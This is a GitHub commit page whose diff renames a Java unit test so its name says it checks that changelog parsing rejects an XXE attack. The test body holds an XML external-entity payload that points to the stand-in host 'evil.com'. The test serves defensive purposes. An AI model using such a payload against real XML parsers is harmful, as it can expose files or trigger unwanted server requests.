Skip to content

Commit

Permalink
better test method name
Browse files Browse the repository at this point in the history
  • Loading branch information
mherman22 committed Mar 30, 2024
1 parent a263fc5 commit 7811e34
Showing 1 changed file with 1 addition and 1 deletion.
Original file line number Diff line number Diff line change
Expand Up @@ -128,7 +128,7 @@ private String readFile(File file) throws IOException {
// and attempting an XXE attack in a test environment is not recommended.
// It could potentially expose the system to real attacks, even if unintentional.
@Test
public void testReadChangeLogFile_shouldThrowDocumentException() throws Exception {
public void testReadChangeLogFile_shouldThrowDocumentExceptionIncaseOfAnXxeAttack() throws Exception {
String xmlContent = "<!DOCTYPE root [<!ENTITY ext SYSTEM \"http://evil.com/payload\">]><root>&ext;</root>";
Path tempFilePath = Paths.get("test.xml");
Files.write(tempFilePath, xmlContent.getBytes());
Expand Down

0 comments on commit 7811e34

Please sign in to comment.